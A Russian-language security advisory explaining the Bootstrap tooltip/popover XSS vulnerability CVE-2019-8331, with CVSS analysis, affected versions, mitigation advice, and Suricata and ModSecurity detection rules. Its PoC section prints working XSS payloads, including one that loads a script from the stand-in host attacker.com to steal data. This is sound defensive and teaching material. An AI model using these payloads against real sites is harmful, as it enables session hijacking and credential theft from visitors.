Уязвимость компонентов tooltip и popover набора инструментов для создания сайтов и веб-приложений Bootstrap
Уязвимость компонентов tooltip и popover набора инструментов для создания сайтов и веб-приложений Bootstrap
Категория: Программы Теги: Уязвимости Опубликовано: 22 июня 2025

Уязвимость BDU:2020-02249 (CVE-2019-8331) Bootstrap

Уязвимость BDU:2020-02249 (CVE-2019-8331) представляет собой критическую уязвимость типа Межсайтового скриптинга (XSS), обнаруженную в популярном фреймворке Bootstrap. Уязвимость затрагивает компоненты Tooltip (всплывающая подсказка) и Popover (всплывающее окно). Суть проблемы заключается в недостаточной санитизации (очистке) пользовательского ввода, передаваемого через атрибуты data-templatedata-content и data-title (при включенном data-html="true"), что позволяет злоумышленнику внедрить и исполнить произвольный JavaScript-код в контексте браузера жертвы.

Анализ уязвимости

Уровень опасности: 6.1 MEDIUM
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

  • AV:N (Attack Vector: Network) - Атака может быть инициирована удаленно через сеть.

  • AC:L (Attack Complexity: Low) - Сложность атаки низкая, эксплуатация не требует сложных условий.

  • PR:N (Privileges Required: None) - Для атаки не требуются какие-либо привилегии на целевом ресурсе.

  • UI:R (User Interaction: Required) - Для успешной эксплуатации требуется взаимодействие пользователя (например, наведение курсора на элемент с Tooltip).

  • S:C (Scope: Changed) - Успешная атака может повлиять на компоненты, выходящие за рамки уязвимого компонента (например, другие вкладки/окна браузера того же пользователя).

  • C:L (Confidentiality Impact: Low) - Возможное ограниченное воздействие на конфиденциальность (кража данных сессии, личной информации в рамках страницы/домена).

  • I:L (Integrity Impact: Low) - Возможное ограниченное воздействие на целостность (модификация содержимого страницы, выполнение действий от имени пользователя в рамках сессии).

  • A:N (Availability Impact: None) - Атака не оказывает прямого влияния на доступность системы.

Уязвимые версии:

  • Bootstrap 3.x до версии 3.4.1

  • Bootstrap 4.x с версии 4.0.0 до версии 4.3.1

Условия эксплуатации

  1. Наличие уязвимой версии Bootstrap: Сайт или веб-приложение должно использовать уязвимую версию Bootstrap.

  2. Использование компонентов Tooltip/Popover: На странице должны использоваться компоненты Tooltip или Popover.

  3. Контроль злоумышленником над данными атрибутов: Злоумышленник должен иметь возможность контролировать или влиять на содержимое атрибутов data-templatedata-content или data-title (особенно при data-html="true") элементов, к которым применяются Tooltip/Popover. Это достигается через:

    • Отраженный XSS: Внедрение вредоносных данных в параметры URL, которые затем отображаются в атрибутах.

    • Хранимый XSS: Сохранение вредоносных данных на сервере (например, в профиле пользователя, комментарии, названии товара), которые затем извлекаются и подставляются в атрибуты при отображении страницы другим пользователям.

    • DOM-based XSS: Манипуляция DOM-деревом на стороне клиента для установки вредоносных значений атрибутов.

  4. Взаимодействие пользователя: Жертва должна взаимодействовать с элементом, активирующим отображение Tooltip или Popover (навести курсор, кликнуть).

Технический анализ уязвимости и эксплоитов

Проблема кроется в коде инициализации и обработки шаблонов Tooltip/Popover внутри файлов tooltip.js/popover.js Bootstrap. Рассмотрим ключевые моменты на примере Bootstrap 4.x (до 4.3.1):

  1. Обработка data-html="true":
    При установке атрибута data-html="true" на элементе, Bootstrap разрешает использовать HTML-разметку внутри title/content. Код доверяет этому содержимому и вставляет его напрямую в DOM через .html() или аналогичные методы jQuery/JavaScript без должной очистки.

  2. Обработка data-template:
    Атрибут data-template позволяет полностью переопределить HTML-структуру самого Tooltip/Popover. Bootstrap использует его значение для создания нового DOM-элемента:

    Значение data-template вставляется как HTML через $(string), что позволяет внедрить произвольные теги, включая <script>, или теги с обработчиками событий (onerroronloadonmouseover).

Анализ PoC (Proof of Concept)

Рассмотрим код эксплоитов для понимания работы вектора атаки с использованием этой уязвимости.

Пример 1: Инъекция через data-template с использованием onerror

<x data-toggle="tooltip" data-template="<img src=x onerror=alert(1)>">Наведи на меня (XSS!)</x>
  • Механизм: Атрибут data-template содержит строку, создающую элемент <img>. Атрибут src="x" заведомо невалиден. При попытке загрузить несуществующее изображение срабатывает обработчик onerror, исполняя alert(1).

  • Активация: При наведении курсора на элемент <x> активируется Tooltip. Bootstrap берет значение data-template, создает из него элемент и добавляет в DOM. Неудачная загрузка картинки триггерит XSS.

Пример 2: Инъекция через title/data-content с data-html="true"

<x data-toggle="tooltip" data-html="true" title='<script>alert(1)</script>'>Наведи на меня (XSS!)</x>
<x data-toggle="tooltip" data-html="true" data-content='<script>alert(1)</script>'>Наведи на меня (XSS!)</x>
  • Механизм: Атрибуты title или data-content содержат строку с тегом <script>. Установка data-html="true" говорит Bootstrap интерпретировать содержимое как HTML, а не как простой текст.

  • Активация: При наведении курсора Bootstrap извлекает содержимое title/data-content, интерпретирует его как HTML (включая тег <script>) и вставляет в DOM Tooltip. Тег <script> исполняется браузером.

Пример 3: Динамическая загрузка внешнего скрипта

<x data-toggle="tooltip" data-html="true" title='<img src="x" onerror="var s=document.createElement(`script`);s.src=`https://attacker.com/malicious.js`;document.body.appendChild(s);">'>Наведи на меня (Stealer!)</x>
  • Механизм: Более опасный сценарий. Используется onerror в <img> (аналогично Примеру 1), но вместо alert создается и добавляется в DOM тег <script>, ссылающийся на внешний вредоносный JavaScript-файл (malicious.js).

  • Последствия: malicious.js может содержать код для:

    • Кражи cookies сессии (включая аутентификационные).

    • Кражу данных форм (логины, пароли, платежные реквизиты).

    • Перенаправления пользователя на фишинговый сайт.

    • Кейлоггинга (перехвата нажатий клавиш).

    • Установки вредоносного ПО через эксплойты браузера.

    • Участия в ботнете (криптомайнинг, DDoS).

Где используется Bootstrap?

Bootstrap – один из самых распространенных CSS/JS фреймворков. Он используется в:

  • Корпоративных порталах и CRM/ERP системах.

  • Системах управления контентом (CMS) и их шаблонах.

  • Административных панелях (админках) устройств и ПО.

  • Интернет-магазинах (e-commerce).

  • Стартапах и MVP (Minimum Viable Product).

  • Множестве внутренних веб-приложений компаний.
    Пример из POC: Официальный сайт штата Нью-Джерси (https-nj.gov) использовал уязвимую версию Bootstrap 4.0.0.

Возможные последствия успешной атаки

  • Кража сессионных cookies: Позволяет злоумышленнику захватить активную сессию пользователя и войти в систему от его имени.

  • Кража учетных данных: Перехват логинов и паролей, вводимых на странице.

  • Кража конфиденциальных данных (PII): Доступ к персональным данным, отображаемым на странице (имена, адреса, номера телефонов, документы).

  • Подмена контента: Изменение текста, изображений или форм на странице для дезинформации или фишинга.

  • Перенаправление на вредоносные сайты.

  • Выполнение действий от имени пользователя: Отправка сообщений, совершение платежей, изменение настроек профиля.

  • Распространение вредоносного ПО: Эксплуатация уязвимостей в браузере или плагинах для загрузки троянов.

  • Участие в криптомайнинге (Cryptojacking): Использование ресурсов CPU посетителя для майнинга криптовалюты.

Методы защиты

  1. Обновление Bootstrap: Самый эффективный и критически важный метод.

    • Для Bootstrap 3.x: Обновиться до версии 3.4.1 или выше.

    • Для Bootstrap 4.x: Обновиться до версии 4.3.1 или выше (рекомендуется последняя стабильная 4.6.x или миграция на 5.x).

    • Для Bootstrap 5.x: Уязвимость изначально исправлена. Используйте последнюю стабильную версию.

  2. Строгая санитизация на стороне сервера:

    • Все данные, подставляемые в атрибуты data-templatedata-contentdata-title (и любые другие, влияющие на HTML Tooltip/Popover), должны проходить строгую очистку перед выводом в HTML-контекст.

    • Используйте проверенные библиотеки санитизации HTML:

      • PHP: htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML5, 'UTF-8') (для текста!), или более продвинутые как HTML Purifier для сложных HTML-фрагментов (с осторожностью!).

      • Node.js: sanitize-htmlxssDOMPurify (рекомендуется).

      • Python (Django): Автоматическое экранирование шаблонов (активировано по умолчанию), или django.utils.html.escape. Для сложных случаев - bleach.

      • Java: OWASP Java Encoder Project (Encoder.forHtmlContent()), Jsoup (с осторожностью при очистке).

    • Принцип: Удаляйте или экранируйте (< -> &lt;> -> &gt;" -> &quot;' -> &#x27;& -> &amp;) все символы, имеющие специальное значение в HTML. Особенно важно для атрибутов.

  3. Строгая валидация входных данных:

    • Если атрибуты должны содержать только определенные шаблоны или ограниченный набор HTML-тегов/атрибутов, применяйте строгую валидацию (белые списки - allowlist). Отвергайте любые данные, не соответствующие строгому шаблону.

  4. Content Security Policy (CSP):

    • Не панацея, но мощный дополнительный рубеж защиты.

    • Политика script-src с 'self' и явным указанием доверенных источников ('unsafe-inline' и 'unsafe-eval' должны быть строго исключены!) предотвратит выполнение инлайн-скриптов (<script>...</script>onerror=...) из внедренного кода.

    • Пример строгой политики:

      Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none'; base-uri 'none';
    • Тестируйте! CSP может сломать функциональность легальных скриптов.

  5. Защита с помощью WAF/IPS (Suricata):

    • Рекомендация: WAF/IPS не заменяет обновление библиотеки или санитизацию! Это дополнительный слой защиты, особенно полезный при работе с легаси-системами, где немедленное обновление невозможно.

    • Цель правил: Обнаруживать попытки внедрения опасных шаблонов в специфические атрибуты Tooltip/Popover в HTTP-запросах (GET/POST параметры, заголовки) и HTTP-ответах (где уязвимый контент может отображаться).

    • Пример правил для Suricata:

      # Правило 1: Поиск `data-template` с явными попытками XSS (onerror, onload, javascript:)
      alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-template (PoC Pattern)"; flow:to_server; content:"data-template"; nocase; content:"onerror"; nocase; distance:0; within:50; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249001; rev:1;)
      
      alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-template (Script Tag)"; flow:to_server; content:"data-template"; nocase; pcre:"/data-template\s*=[\s'\"]*<script[^>]*>/i"; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249002; rev:1;)
      
      # Правило 2: Поиск `data-html=true` в сочетании с опасным содержимым в `data-title`/`data-content`
      alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-html and data-title/data-content (Script Tag)"; flow:to_server; content:"data-html"; nocase; content:"true"; nocase; distance:0; content:"data-title"; nocase; distance:0; pcre:"/data-title\s*=[\s'\"]*<script[^>]*>/i"; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249003; rev:1;)
      
      alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Potential Bootstrap XSS via data-html and data-title/data-content (Event Handler)"; flow:to_server; content:"data-html"; nocase; content:"true"; nocase; distance:0; content:"data-content"; nocase; distance:0; content:"onerror"; nocase; distance:0; within:50; metadata: cve 2019-8331, bdu 2020-02249, tag xss; sid:202002249004; rev:1;)
      
      # Правило 3: Мониторинг ответов на наличие индикаторов уязвимой версии Bootstrap (опционально, для обнаружения уязвимых целей)
      alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Vulnerable Bootstrap Version Detected (3.x < 3.4.1)"; flow:from_server; content:"bootstrap"; nocase; content:"v3."; distance:0; pcre:"/v3\.(?:[0-2]\.|3\.[0-3]|4\.[0-0])(?!\d)/"; metadata: cve 2019-8331, bdu 2020-02249, tag reconnaissance; sid:202002249005; rev:1;)
      
      alert http any any -> any any (msg:"BDU:2020-02249 / CVE-2019-8331 Vulnerable Bootstrap Version Detected (4.x < 4.3.1)"; flow:from_server; content:"bootstrap"; nocase; content:"v4."; distance:0; pcre:"/v4\.(?:[0-2]\.|3\.[0-0])(?!\d)/"; metadata: cve 2019-8331, bdu 2020-02249, tag reconnaissance; sid:202002249006; rev:1;)
    • Важные замечания по IPS:

      • False Positives / False Negatives: Эти правила могут давать ложные срабатывания (если в данных легально встречаются слова onerrordata-template в безопасном контексте) или пропускать сложно закодированные атаки. Требуется тщательная настройка и тестирование в конкретной среде.

      • Контекст: Правила анализируют сырые HTTP-данные. Обфускация (кодирование URL, Unicode, JS-функции) может обойти простые сигнатуры. Требуются более сложные правила или нормализация.

      • Эффективность: WAF лучше блокирует отраженные XSS. Против хранимых XSS он эффективен только на этапе попытки сохранения вредоносных данных на сервер.

Правила для ModSecurity (OWASP Core Rule Set - CRS) - Блокировка атак на Bootstrap CVE-2019-8331:

# =====================================================================
# CVE-2019-8331 / BDU:2020-02249: Bootstrap XSS in Tooltip/Popover
# Таргетирует атрибуты data-template, data-content, data-title + data-html=true
# =====================================================================

# Правило 1: Блокировка опасных паттернов в data-template (основной вектор)
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@rx (?i)(?:data-template\s*=\s*['\"]?|<\w+\s+[^>]*?data-template\s*=\s*['\"]?)([^'\">]*(?:<script[^>]*>|on(?:error|load|mouseover)\s*=|javascript\s*:|\b(?:expression|eval)\s*\(|<\s*img\s+[^>]*src\s*=\s*[^>]*onerror\s*=))" \
    "id:2020022491,\
    phase:2,\
    block,\
    t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\
    msg:'Potential CVE-2019-8331 Exploit: Malicious data-template attribute detected',\
    logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}',\
    tag:'application-multi',\
    tag:'language-multi',\
    tag:'platform-multi',\
    tag:'attack-xss',\
    tag:'paranoia-level/2',\
    tag:'OWASP_CRS',\
    tag:'capec/1000/152/242',\
    ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:comment,\
    ver:'OWASP_CRS/3.4.0',\
    severity:'CRITICAL',\
    setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\
    setvar:'tx.xss_score=+%{tx.critical_anomaly_score}'"

# Правило 2: Блокировка опасного контента в data-title/data-content при наличии data-html=true
SecRule ARGS|ARGS_NAMES "@rx (?i)(?:data-(?:title|content)\s*=\s*['\"]?|<\w+\s+[^>]*?data-(?:title|content)\s*=\s*['\"]?)([^'\">]*(?:<script[^>]*>|on(?:error|load|mouseover)\s*=|javascript\s*:|\b(?:expression|eval)\s*\(|<\s*img\s+[^>]*src\s*=\s*[^>]*onerror\s*=))" \
    "id:2020022492,\
    phase:2,\
    block,\
    chain,\
    t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
    SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "@rx (?i)data-html\s*=\s*['\"]?true" \
        "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\
        ctl:ruleRemoveTargetByTag=OWASP_CRS;ARGS:description,\
        msg:'Potential CVE-2019-8331 Exploit: Malicious data-title/content with data-html=true',\
        logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}',\
        tag:'application-multi',\
        tag:'language-multi',\
        tag:'platform-multi',\
        tag:'attack-xss',\
        tag:'paranoia-level/2',\
        tag:'OWASP_CRS',\
        tag:'capec/1000/152/242',\
        ver:'OWASP_CRS/3.4.0',\
        severity:'CRITICAL',\
        setvar:'tx.anomaly_score_pl2=+%{tx.critical_anomaly_score}',\
        setvar:'tx.xss_score=+%{tx.critical_anomaly_score}'"

# Правило 3: Блокировка уязвимых версий Bootstrap в ответах сервера (обнаружение уязвимого ресурса)
SecRule RESPONSE_BODY "@rx (?:bootstrap[^>]*(?:v(?:3\.(?:[0-2]\.\d+|3\.[0-3]|4\.0)|v(?:4\.(?:[0-2]\.\d+|3\.[0-1])))|\/bootstrap\/(?:3\.[0-3]\.|4\.[0-3]\.)\d+\/js\/bootstrap(?:\.min)?\.js)" \
    "id:2020022493,\
    phase:4,\
    pass,\
    t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,\
    msg:'Vulnerable Bootstrap Version Detected (CVE-2019-8331)',\
    logdata:'Matched Bootstrap version: %{TX.0}',\
    tag:'application-multi',\
    tag:'language-multi',\
    tag:'platform-multi',\
    tag:'info',\
    tag:'paranoia-level/1',\
    tag:'OWASP_CRS',\
    ver:'OWASP_CRS/3.4.0',\
    severity:'NOTICE'"

Пояснения к правилам WAF:

  1. Правило 2020022491 (data-template):

    • Цель: Обнаруживает опасные паттерны внутри значений атрибута data-template.

    • Механизм:

      • Ищет строки типа data-template=data-template =data-template='data-template=" (с пробелами и кавычками).

      • Ищет внутри значения ключевые индикаторы XSS:

        • <script> теги

        • Обработчики событий: onerror=onload=onmouseover=

        • JavaScript-протокол: javascript:

        • Опасные функции: expression(eval(

        • Специфичный для PoC паттерн: <img ... src=... onerror=

      • Применяет трансформации (декодирование URL, HTML-сущностей, приведение к нижнему регистру) для борьбы с обфускацией.

    • Действие: Блокировка запроса (block), критическая (CRITICAL) оценка аномалии.

    • Исключения (ctl:ruleRemoveTargetByTag): Пример исключения аргумента comment (если нужно для функционала). Требует настройки!

  2. Правило 2020022492 (data-title/data-content + data-html):

    • Цель: Обнаруживает опасный контент в data-title или data-content только если присутствует data-html="true".

    • Механизм:

      • Цепочка (chain): Первая часть ищет опасный контент в data-title/data-content. Вторая часть (chain) проверяет наличие data-html=true.

      • Использует те же индикаторы XSS, что и Правило 1.

      • Трансформации аналогичны.

    • Действие: Блокировка запроса, критическая оценка.

    • Важность условия data-html=true: Без этого атрибута Bootstrap экранирует контент, делая атаку невозможной. Правило фокусируется на опасной комбинации.

  3. Правило 2020022493 (Обнаружение уязвимой версии):

    • Цель: Пассивное обнаружение факта использования уязвимой версии Bootstrap в ответах сервера.

    • Механизм: Ищет в теле ответа (RESPONSE_BODY) признаки загрузки уязвимых версий:

      • Строки версий: v3.0.0 - v3.4.0v4.0.0 - v4.3.1 (но не v3.4.1+ или v4.3.2+)

      • Пути к уязвимым JS-файлам: /bootstrap/3.4.0/js/bootstrap.js/bootstrap/4.3.1/js/bootstrap.min.js и т.д.

    • Действие: Не блокирует (pass), регистрирует событие с уровнем NOTICE (Уведомление). Информационное! Помогает выявить уязвимые компоненты.

Ключевые особенности и предупреждения:

  1. Трансформации (t:): Критически важны для обнаружения обфусцированных атак:

    • t:urlDecodeUni: Декодирует %-кодирование (например, %3Cscript%3E -> <script>).

    • t:htmlEntityDecode: Декодирует HTML-сущности (например, &lt;script&gt; -> <script>).

    • t:lowercase: Приводит к нижнему регистру для регистронезависимости.

  2. Ложные срабатывания (False Positives):

    • Высокая вероятность! Правила агрессивны для надежности.

    • Исключения (ctl:ruleRemoveTargetByTag): Обязательно настройте исключения для параметров, где ожидается HTML (например, поля WYSIWYG редакторов, описания товаров). Исключать нужно по именам параметров (ARGS:paramName).

    • Тестирование: Тщательно тестируйте правила на тестовой среде перед развертыванием в продакшене. Используйте позитивные и негативные тест-кейсы.

  3. Ограничения WAF:

    • Не панацея: WAF дополняет, но не заменяет обновление библиотеки и санитизацию входных данных!

    • DOM-based XSS: Может быть сложно обнаружить атаки, полностью формируемые на клиенте (JS).

    • Сложная обфускация: Опытные злоумышленники могут использовать сложные методы кодирования или разбиения строк для обхода сигнатур.

    • Performance: Сложные правила с трансформациями могут нагружать WAF. Мониторьте производительность.

  4. Интеграция с CRS:

    • Правила используют структуру и переменные OWASP CRS (версии 3.x). Их следует размещать в своем собственном файле конфигурации (например, REQUEST-901-BOOTSTRAP-CVE-2019-8331.conf) и подключать после основных файлов CRS.

    • Они повышают счетчик аномалий (tx.anomaly_score), что позволяет интегрировать их в общую логику блокировки CRS (на основе пороговых значений).

Заключение:
Уязвимость BDU:2020-02249 (CVE-2019-8331) в Bootstrap – классический пример DOM-based XSS, вызванного доверием к несанитизированным пользовательским данным при динамическом построении HTML. Ее эксплуатация, хоть и требующая взаимодействия пользователя, позволяет злоумышленнику выполнять произвольный код в браузере жертвы с серьезными последствиями для конфиденциальности и целостности. Основной и абсолютно необходимой мерой защиты является немедленное обновление Bootstrap до исправленных версий. Дополнительные меры, такие как строгая санитизация всех пользовательских данных на стороне сервера, внедрение CSP и настройка WAF/IPS, создают защитные слои, но не заменяют обновление библиотеки. Понимание механизма работы уязвимости и векторов атаки, демонстрируемых PoC, критически важно для специалистов по безопасности при проведении аудита веб-приложений и реагировании на инциденты.

Алексей Черемных Алексей Черемных
63